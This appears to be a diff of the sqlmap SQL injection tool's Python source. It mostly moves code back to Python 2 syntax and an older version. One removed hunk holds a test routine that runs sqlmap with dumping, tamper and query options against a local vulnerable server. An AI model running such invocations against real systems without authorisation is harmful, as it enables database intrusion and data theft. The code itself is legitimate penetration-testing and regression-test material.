(errCode, written) = WriteFile(x, input)
|
||||
except ValueError:
|
||||
return self._close('stdin')
|
||||
except (subprocess.pywintypes.error, Exception) as ex:
|
||||
if (ex[0] if six.PY2 else ex.errno) in (109, errno.ESHUTDOWN):
|
||||
except (subprocess.pywintypes.error, Exception), why:
|
||||
if why[0] in (109, errno.ESHUTDOWN):
|
||||
return self._close('stdin')
|
||||
raise
|
||||
|
||||
@@ -111,15 +109,15 @@ class Popen(subprocess.Popen):
|
||||
|
||||
try:
|
||||
x = msvcrt.get_osfhandle(conn.fileno())
|
||||
(read, nAvail, _) = PeekNamedPipe(x, 0)
|
||||
(read, nAvail, nMessage) = PeekNamedPipe(x, 0)
|
||||
if maxsize < nAvail:
|
||||
nAvail = maxsize
|
||||
if nAvail > 0:
|
||||
(_, read) = ReadFile(x, nAvail, None)
|
||||
(errCode, read) = ReadFile(x, nAvail, None)
|
||||
except (ValueError, NameError):
|
||||
return self._close(which)
|
||||
except (subprocess.pywintypes.error, Exception) as ex:
|
||||
if (ex[0] if six.PY2 else ex.errno) in (109, errno.ESHUTDOWN):
|
||||
except (subprocess.pywintypes.error, Exception), why:
|
||||
if why[0] in (109, errno.ESHUTDOWN):
|
||||
return self._close(which)
|
||||
raise
|
||||
|
||||
@@ -136,8 +134,8 @@ class Popen(subprocess.Popen):
|
||||
|
||||
try:
|
||||
written = os.write(self.stdin.fileno(), input)
|
||||
except OSError as ex:
|
||||
if (ex[0] if six.PY2 else ex.errno) == errno.EPIPE: # broken pipe
|
||||
except OSError, why:
|
||||
if why[0] == errno.EPIPE: # broken pipe
|
||||
return self._close('stdin')
|
||||
raise
|
||||
|
||||
@@ -185,7 +183,7 @@ def recv_some(p, t=.1, e=1, tr=5, stderr=0):
|
||||
y.append(r)
|
||||
else:
|
||||
time.sleep(max((x - time.time()) / tr, 0))
|
||||
return b''.join(y)
|
||||
return ''.join(y)
|
||||
|
||||
def send_all(p, data):
|
||||
if not data:
|
||||
@@ -195,4 +193,4 @@ def send_all(p, data):
|
||||
sent = p.send(data)
|
||||
if not isinstance(sent, int):
|
||||
break
|
||||
data = buffer(data[sent:])
|
||||
data = buffer(data, sent)
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -12,9 +12,11 @@ import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import time
|
||||
import urlparse
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import hashDBRetrieve
|
||||
from lib.core.common import intersect
|
||||
from lib.core.common import isNumPosStrValue
|
||||
@@ -23,11 +25,8 @@ from lib.core.common import openFile
|
||||
from lib.core.common import paramToDict
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import removePostHintPrefix
|
||||
from lib.core.common import resetCookieJar
|
||||
from lib.core.common import urldecode
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -45,7 +44,6 @@ from lib.core.enums import POST_HINT
|
||||
from lib.core.exception import SqlmapFilePathException
|
||||
from lib.core.exception import SqlmapGenericException
|
||||
from lib.core.exception import SqlmapMissingPrivileges
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.exception import SqlmapSystemException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.option import _setDBMS
|
||||
@@ -53,11 +51,9 @@ from lib.core.option import _setKnowledgeBaseAttributes
|
||||
from lib.core.option import _setAuthCred
|
||||
from lib.core.settings import ASTERISK_MARKER
|
||||
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
|
||||
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import HOST_ALIASES
|
||||
from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
|
||||
from lib.core.settings import INJECT_HERE_REGEX
|
||||
from lib.core.settings import JSON_RECOGNITION_REGEX
|
||||
from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX
|
||||
from lib.core.settings import MULTIPART_RECOGNITION_REGEX
|
||||
@@ -74,9 +70,7 @@ from lib.core.settings import URI_INJECTABLE_REGEX
|
||||
from lib.core.settings import USER_AGENT_ALIASES
|
||||
from lib.core.settings import XML_RECOGNITION_REGEX
|
||||
from lib.utils.hashdb import HashDB
|
||||
from thirdparty import six
|
||||
from thirdparty.odict import OrderedDict
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
from thirdparty.odict.odict import OrderedDict
|
||||
|
||||
def _setRequestParams():
|
||||
"""
|
||||
@@ -111,7 +105,7 @@ def _setRequestParams():
|
||||
def process(match, repl):
|
||||
retVal = match.group(0)
|
||||
|
||||
if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]):
|
||||
if not (conf.testParameter and match.group("name") not in conf.testParameter):
|
||||
retVal = repl
|
||||
while True:
|
||||
_ = re.search(r"\\g<([^>]+)>", retVal)
|
||||
@@ -215,7 +209,7 @@ def _setRequestParams():
|
||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data)
|
||||
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data)
|
||||
|
||||
kb.postHint = POST_HINT.MULTIPART
|
||||
|
||||
@@ -279,7 +273,7 @@ def _setRequestParams():
|
||||
|
||||
if not kb.processUserMarks:
|
||||
if place == PLACE.URI:
|
||||
query = _urllib.parse.urlsplit(value).query
|
||||
query = urlparse.urlsplit(value).query
|
||||
if query:
|
||||
parameters = conf.parameters[PLACE.GET] = query
|
||||
paramDict = paramToDict(PLACE.GET, parameters)
|
||||
@@ -349,7 +343,7 @@ def _setRequestParams():
|
||||
# Url encoding of the header values should be avoided
|
||||
# Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value
|
||||
|
||||
if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper():
|
||||
if httpHeader.title() == HTTP_HEADER.USER_AGENT:
|
||||
conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue)
|
||||
|
||||
condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True)))
|
||||
@@ -358,7 +352,7 @@ def _setRequestParams():
|
||||
conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue}
|
||||
testableParameters = True
|
||||
|
||||
elif httpHeader.upper() == HTTP_HEADER.REFERER.upper():
|
||||
elif httpHeader.title() == HTTP_HEADER.REFERER:
|
||||
conf.parameters[PLACE.REFERER] = urldecode(headerValue)
|
||||
|
||||
condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True)))
|
||||
@@ -367,7 +361,7 @@ def _setRequestParams():
|
||||
conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue}
|
||||
testableParameters = True
|
||||
|
||||
elif httpHeader.upper() == HTTP_HEADER.HOST.upper():
|
||||
elif httpHeader.title() == HTTP_HEADER.HOST:
|
||||
conf.parameters[PLACE.HOST] = urldecode(headerValue)
|
||||
|
||||
condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True)))
|
||||
@@ -396,8 +390,8 @@ def _setRequestParams():
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
if conf.csrfToken:
|
||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
|
||||
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
|
||||
if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
|
||||
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken
|
||||
errMsg += "found in provided GET, POST, Cookie or header values"
|
||||
raise SqlmapGenericException(errMsg)
|
||||
else:
|
||||
@@ -407,14 +401,11 @@ def _setRequestParams():
|
||||
|
||||
for parameter in conf.paramDict.get(place, {}):
|
||||
if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES):
|
||||
message = "%sparameter '%s' appears to hold anti-CSRF token. " % ("%s " % place if place != parameter else "", parameter)
|
||||
message = "%s parameter '%s' appears to hold anti-CSRF token. " % (place, parameter)
|
||||
message += "Do you want sqlmap to automatically update it in further requests? [y/N] "
|
||||
|
||||
if readInput(message, default='N', boolean=True):
|
||||
class _(six.text_type):
|
||||
pass
|
||||
conf.csrfToken = _(re.escape(getUnicode(parameter)))
|
||||
conf.csrfToken._original = getUnicode(parameter)
|
||||
conf.csrfToken = getUnicode(parameter)
|
||||
break
|
||||
|
||||
def _setHashDB():
|
||||
@@ -430,8 +421,8 @@ def _setHashDB():
|
||||
try:
|
||||
os.remove(conf.hashDBFile)
|
||||
logger.info("flushing session file")
|
||||
except OSError as ex:
|
||||
errMsg = "unable to flush the session file ('%s')" % getSafeExString(ex)
|
||||
except OSError, msg:
|
||||
errMsg = "unable to flush the session file (%s)" % msg
|
||||
raise SqlmapFilePathException(errMsg)
|
||||
|
||||
conf.hashDB = HashDB(conf.hashDBFile)
|
||||
@@ -475,13 +466,7 @@ def _resumeDBMS():
|
||||
value = hashDBRetrieve(HASHDB_KEYS.DBMS)
|
||||
|
||||
if not value:
|
||||
if conf.offline:
|
||||
errMsg = "unable to continue in offline mode "
|
||||
errMsg += "because of lack of usable "
|
||||
errMsg += "session data"
|
||||
raise SqlmapNoneDataException(errMsg)
|
||||
else:
|
||||
return
|
||||
return
|
||||
|
||||
dbms = value.lower()
|
||||
dbmsVersion = [UNKNOWN_DBMS_VERSION]
|
||||
@@ -561,7 +546,7 @@ def _setResultsFile():
|
||||
conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
|
||||
try:
|
||||
conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0)
|
||||
except (OSError, IOError) as ex:
|
||||
except (OSError, IOError), ex:
|
||||
try:
|
||||
warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
|
||||
handle, conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
|
||||
@@ -569,7 +554,7 @@ def _setResultsFile():
|
||||
conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
|
||||
warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename
|
||||
logger.warn(warnMsg)
|
||||
except IOError as _:
|
||||
except IOError, _:
|
||||
errMsg = "unable to write to the temporary directory ('%s'). " % _
|
||||
errMsg += "Please make sure that your disk is not full and "
|
||||
errMsg += "that you have sufficient write permissions to "
|
||||
@@ -593,7 +578,7 @@ def _createFilesDir():
|
||||
if not os.path.isdir(conf.filePath):
|
||||
try:
|
||||
os.makedirs(conf.filePath)
|
||||
except OSError as ex:
|
||||
except OSError, ex:
|
||||
tempDir = tempfile.mkdtemp(prefix="sqlmapfiles")
|
||||
warnMsg = "unable to create files directory "
|
||||
warnMsg += "'%s' (%s). " % (conf.filePath, getUnicode(ex))
|
||||
@@ -615,7 +600,7 @@ def _createDumpDir():
|
||||
if not os.path.isdir(conf.dumpPath):
|
||||
try:
|
||||
os.makedirs(conf.dumpPath)
|
||||
except OSError as ex:
|
||||
except OSError, ex:
|
||||
tempDir = tempfile.mkdtemp(prefix="sqlmapdump")
|
||||
warnMsg = "unable to create dump directory "
|
||||
warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex))
|
||||
@@ -633,13 +618,51 @@ def _createTargetDirs():
|
||||
Create the output directory.
|
||||
"""
|
||||
|
||||
for context in "output", "history":
|
||||
directory = paths["SQLMAP_%s_PATH" % context.upper()]
|
||||
try:
|
||||
if not os.path.isdir(directory):
|
||||
os.makedirs(directory)
|
||||
|
||||
_ = os.path.join(directory, randomStr())
|
||||
open(_, "w+b").close()
|
||||
os.remove(_)
|
||||
|
||||
if conf.outputDir and context == "output":
|
||||
warnMsg = "using '%s' as the %s directory" % (directory, context)
|
||||
logger.warn(warnMsg)
|
||||
except (OSError, IOError), ex:
|
||||
try:
|
||||
tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context)
|
||||
except Exception, _:
|
||||
errMsg = "unable to write to the temporary directory ('%s'). " % _
|
||||
errMsg += "Please make sure that your disk is not full and "
|
||||
errMsg += "that you have sufficient write permissions to "
|
||||
errMsg += "create temporary files and/or directories"
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context)
|
||||
warnMsg += "'%s' (%s). " % (directory, getUnicode(ex))
|
||||
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
|
||||
logger.warn(warnMsg)
|
||||
|
||||
paths["SQLMAP_%s_PATH" % context.upper()] = tempDir
|
||||
|
||||
conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname)))
|
||||
|
||||
try:
|
||||
if not os.path.isdir(conf.outputPath):
|
||||
os.makedirs(conf.outputPath)
|
||||
except (OSError, IOError, TypeError) as ex:
|
||||
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
|
||||
except (OSError, IOError, TypeError), ex:
|
||||
try:
|
||||
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
|
||||
except Exception, _:
|
||||
errMsg = "unable to write to the temporary directory ('%s'). " % _
|
||||
errMsg += "Please make sure that your disk is not full and "
|
||||
errMsg += "that you have sufficient write permissions to "
|
||||
errMsg += "create temporary files and/or directories"
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
warnMsg = "unable to create output directory "
|
||||
warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex))
|
||||
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
|
||||
@@ -656,7 +679,7 @@ def _createTargetDirs():
|
||||
f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding))
|
||||
if conf.data:
|
||||
f.write("\n\n%s" % getUnicode(conf.data))
|
||||
except IOError as ex:
|
||||
except IOError, ex:
|
||||
if "denied" in getUnicode(ex):
|
||||
errMsg = "you don't have enough permissions "
|
||||
else:
|
||||
@@ -706,7 +729,7 @@ def initTargetEnv():
|
||||
_setDBMS()
|
||||
|
||||
if conf.data:
|
||||
class _(six.text_type):
|
||||
class _(unicode):
|
||||
pass
|
||||
|
||||
kb.postUrlEncode = True
|
||||
@@ -722,9 +745,6 @@ def initTargetEnv():
|
||||
setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original)
|
||||
kb.postSpaceToPlus = '+' in original
|
||||
|
||||
match = re.search(INJECT_HERE_REGEX, "%s %s %s" % (conf.url, conf.data, conf.httpHeaders))
|
||||
kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR
|
||||
|
||||
def setupTargetEnv():
|
||||
_createTargetDirs()
|
||||
_setRequestParams()
|
||||
@@ -732,4 +752,4 @@ def setupTargetEnv():
|
||||
_resumeHashDBValues()
|
||||
_setResultsFile()
|
||||
_setAuthCred()
|
||||
_setAuxOptions()
|
||||
_setAuxOptions()
|
||||
@@ -1,37 +1,28 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import codecs
|
||||
import doctest
|
||||
import logging
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import shutil
|
||||
import sys
|
||||
import tempfile
|
||||
import threading
|
||||
import time
|
||||
import traceback
|
||||
|
||||
from extra.beep.beep import beep
|
||||
from extra.vulnserver import vulnserver
|
||||
from lib.controller.controller import start
|
||||
from lib.core.common import clearColors
|
||||
from lib.core.common import clearConsoleLine
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readXmlFile
|
||||
from lib.core.common import shellExec
|
||||
from lib.core.compat import round
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.enums import MKSTEMP_PREFIX
|
||||
@@ -51,92 +42,12 @@ class Failures(object):
|
||||
failedTraceBack = None
|
||||
|
||||
_failures = Failures()
|
||||
_rand = 0
|
||||
|
||||
def vulnTest():
|
||||
"""
|
||||
Runs the testing against 'vulnserver'
|
||||
"""
|
||||
|
||||
retVal = True
|
||||
count, length = 0, 6
|
||||
address, port = "127.0.0.10", random.randint(1025, 65535)
|
||||
|
||||
def _thread():
|
||||
vulnserver.init(quiet=True)
|
||||
vulnserver.run(address=address, port=port)
|
||||
|
||||
thread = threading.Thread(target=_thread)
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
|
||||
for options, checks in (
|
||||
("--flush-session", ("CloudFlare",)),
|
||||
("--flush-session --parse-errors --eval=\"id2=2\" --referer=\"localhost\" --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e\"", (": syntax error", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "back-end DBMS: SQLite", "3 columns")),
|
||||
("--banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
|
||||
("--all --tamper=between,randomcase", ("5 entries", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
|
||||
("-z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT 987654321\"", ("length of query output", ": '987654321'",)),
|
||||
("--technique=T --fresh-queries --sql-query=\"SELECT 1234\"", (": '1234'",)),
|
||||
):
|
||||
cmd = "%s %s -u http://%s:%d/?id=1 --batch %s" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), address, port, options)
|
||||
output = shellExec(cmd)
|
||||
|
||||
if not all(check in output for check in checks):
|
||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||
dataToStdout("%s---\n" % clearColors(output))
|
||||
retVal = False
|
||||
|
||||
count += 1
|
||||
status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
|
||||
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||
|
||||
clearConsoleLine()
|
||||
if retVal:
|
||||
logger.info("vuln test final result: PASSED")
|
||||
else:
|
||||
logger.error("vuln test final result: FAILED")
|
||||
|
||||
return retVal
|
||||
|
||||
def dirtyPatchRandom():
|
||||
"""
|
||||
Unifying random generated data across different Python versions
|
||||
"""
|
||||
|
||||
def _lcg():
|
||||
global _rand
|
||||
a = 1140671485
|
||||
c = 128201163
|
||||
m = 2 ** 24
|
||||
_rand = (a * _rand + c) % m
|
||||
return _rand
|
||||
|
||||
def _randint(a, b):
|
||||
_ = a + (_lcg() % (b - a + 1))
|
||||
return _
|
||||
|
||||
def _choice(seq):
|
||||
return seq[_randint(0, len(seq) - 1)]
|
||||
|
||||
def _sample(population, k):
|
||||
return [_choice(population) for _ in xrange(k)]
|
||||
|
||||
def _seed(seed):
|
||||
global _rand
|
||||
_rand = seed
|
||||
|
||||
random.choice = _choice
|
||||
random.randint = _randint
|
||||
random.sample = _sample
|
||||
random.seed = _seed
|
||||
|
||||
def smokeTest():
|
||||
"""
|
||||
Runs the basic smoke testing of a program
|
||||
"""
|
||||
|
||||
dirtyPatchRandom()
|
||||
|
||||
retVal = True
|
||||
count, length = 0, 0
|
||||
|
||||
@@ -160,20 +71,15 @@ def smokeTest():
|
||||
try:
|
||||
__import__(path)
|
||||
module = sys.modules[path]
|
||||
except Exception as ex:
|
||||
except Exception, msg:
|
||||
retVal = False
|
||||
dataToStdout("\r")
|
||||
errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), ex)
|
||||
errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), msg)
|
||||
logger.error(errMsg)
|
||||
else:
|
||||
logger.setLevel(logging.CRITICAL)
|
||||
kb.smokeMode = True
|
||||
|
||||
(failure_count, _) = doctest.testmod(module)
|
||||
|
||||
kb.smokeMode = False
|
||||
logger.setLevel(logging.INFO)
|
||||
|
||||
# Run doc tests
|
||||
# Reference: http://docs.python.org/library/doctest.html
|
||||
(failure_count, test_count) = doctest.testmod(module)
|
||||
if failure_count > 0:
|
||||
retVal = False
|
||||
|
||||
@@ -190,7 +96,7 @@ def smokeTest():
|
||||
return retVal
|
||||
|
||||
def adjustValueType(tagName, value):
|
||||
for family in optDict:
|
||||
for family in optDict.keys():
|
||||
for name, type_ in optDict[family].items():
|
||||
if type(type_) == tuple:
|
||||
type_ = type_[0]
|
||||
@@ -365,10 +271,10 @@ def runCase(parse):
|
||||
result = start()
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
except SqlmapBaseException as ex:
|
||||
handled_exception = ex
|
||||
except Exception as ex:
|
||||
unhandled_exception = ex
|
||||
except SqlmapBaseException, e:
|
||||
handled_exception = e
|
||||
except Exception, e:
|
||||
unhandled_exception = e
|
||||
finally:
|
||||
sys.stdout.seek(0)
|
||||
console = sys.stdout.read()
|
||||
@@ -413,7 +319,7 @@ def replaceVars(item, vars_):
|
||||
retVal = item
|
||||
|
||||
if item and vars_:
|
||||
for var in re.findall(r"\$\{([^}]+)\}", item):
|
||||
for var in re.findall("\$\{([^}]+)\}", item):
|
||||
if var in vars_:
|
||||
retVal = retVal.replace("${%s}" % var, vars_[var])
|
||||
|
||||
|
||||
@@ -1,25 +1,21 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from __future__ import print_function
|
||||
|
||||
import difflib
|
||||
import random
|
||||
import threading
|
||||
import time
|
||||
import traceback
|
||||
|
||||
from lib.core.compat import WichmannHill
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.datatype import AttribDict
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.exception import SqlmapBaseException
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.exception import SqlmapThreadException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
@@ -58,7 +54,7 @@ class _ThreadData(threading.local):
|
||||
self.lastRequestMsg = None
|
||||
self.lastRequestUID = 0
|
||||
self.lastRedirectURL = None
|
||||
self.random = WichmannHill()
|
||||
self.random = random.WichmannHill()
|
||||
self.resumed = False
|
||||
self.retriesCount = 0
|
||||
self.seqMatcher = difflib.SequenceMatcher(None)
|
||||
@@ -95,12 +91,11 @@ def exceptionHandledFunction(threadFunction, silent=False):
|
||||
kb.threadContinue = False
|
||||
kb.threadException = True
|
||||
raise
|
||||
except Exception as ex:
|
||||
if not silent and kb.get("threadContinue"):
|
||||
errMsg = ex.message if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, ex.message)
|
||||
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
|
||||
except Exception, ex:
|
||||
if not silent:
|
||||
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
|
||||
|
||||
if conf.get("verbose") > 1 and not isinstance(ex, (SqlmapUserQuitException,)):
|
||||
if conf.get("verbose") > 1:
|
||||
traceback.print_exc()
|
||||
|
||||
def setDaemon(thread):
|
||||
@@ -113,6 +108,7 @@ def setDaemon(thread):
|
||||
def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True):
|
||||
threads = []
|
||||
|
||||
kb.multiThreadMode = True
|
||||
kb.threadContinue = True
|
||||
kb.threadException = False
|
||||
|
||||
@@ -154,8 +150,8 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
||||
|
||||
try:
|
||||
thread.start()
|
||||
except Exception as ex:
|
||||
errMsg = "error occurred while starting new thread ('%s')" % ex
|
||||
except Exception, ex:
|
||||
errMsg = "error occurred while starting new thread ('%s')" % ex.message
|
||||
logger.critical(errMsg)
|
||||
break
|
||||
|
||||
@@ -170,8 +166,8 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
||||
alive = True
|
||||
time.sleep(0.1)
|
||||
|
||||
except (KeyboardInterrupt, SqlmapUserQuitException) as ex:
|
||||
print()
|
||||
except (KeyboardInterrupt, SqlmapUserQuitException), ex:
|
||||
print
|
||||
kb.prependFlag = False
|
||||
kb.threadContinue = False
|
||||
kb.threadException = True
|
||||
@@ -188,10 +184,10 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
||||
if forwardException:
|
||||
raise
|
||||
|
||||
except (SqlmapConnectionException, SqlmapValueException) as ex:
|
||||
print()
|
||||
except (SqlmapConnectionException, SqlmapValueException), ex:
|
||||
print
|
||||
kb.threadException = True
|
||||
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), ex))
|
||||
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
|
||||
|
||||
if conf.get("verbose") > 1:
|
||||
traceback.print_exc()
|
||||
@@ -199,13 +195,14 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
||||
except:
|
||||
from lib.core.common import unhandledExceptionMessage
|
||||
|
||||
print()
|
||||
print
|
||||
kb.threadException = True
|
||||
errMsg = unhandledExceptionMessage()
|
||||
logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg))
|
||||
traceback.print_exc()
|
||||
|
||||
finally:
|
||||
kb.multiThreadMode = False
|
||||
kb.bruteMode = False
|
||||
kb.threadContinue = True
|
||||
kb.threadException = False
|
||||
|
||||
@@ -1,16 +1,20 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.data import conf
|
||||
from lib.core.datatype import AttribDict
|
||||
from lib.core.settings import EXCLUDE_UNESCAPE
|
||||
|
||||
class Unescaper(AttribDict):
|
||||
def escape(self, expression, quote=True, dbms=None):
|
||||
if conf.noEscape:
|
||||
return expression
|
||||
|
||||
if expression is None:
|
||||
return expression
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -10,16 +10,16 @@ import os
|
||||
import re
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import urllib
|
||||
import zipfile
|
||||
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import getLatestRevision
|
||||
from lib.core.common import openFile
|
||||
from lib.core.common import pollProcess
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import getText
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
@@ -28,7 +28,7 @@ from lib.core.settings import GIT_REPOSITORY
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import VERSION
|
||||
from lib.core.settings import ZIPBALL_PAGE
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
|
||||
def update():
|
||||
if not conf.updateAll:
|
||||
@@ -51,7 +51,7 @@ def update():
|
||||
|
||||
try:
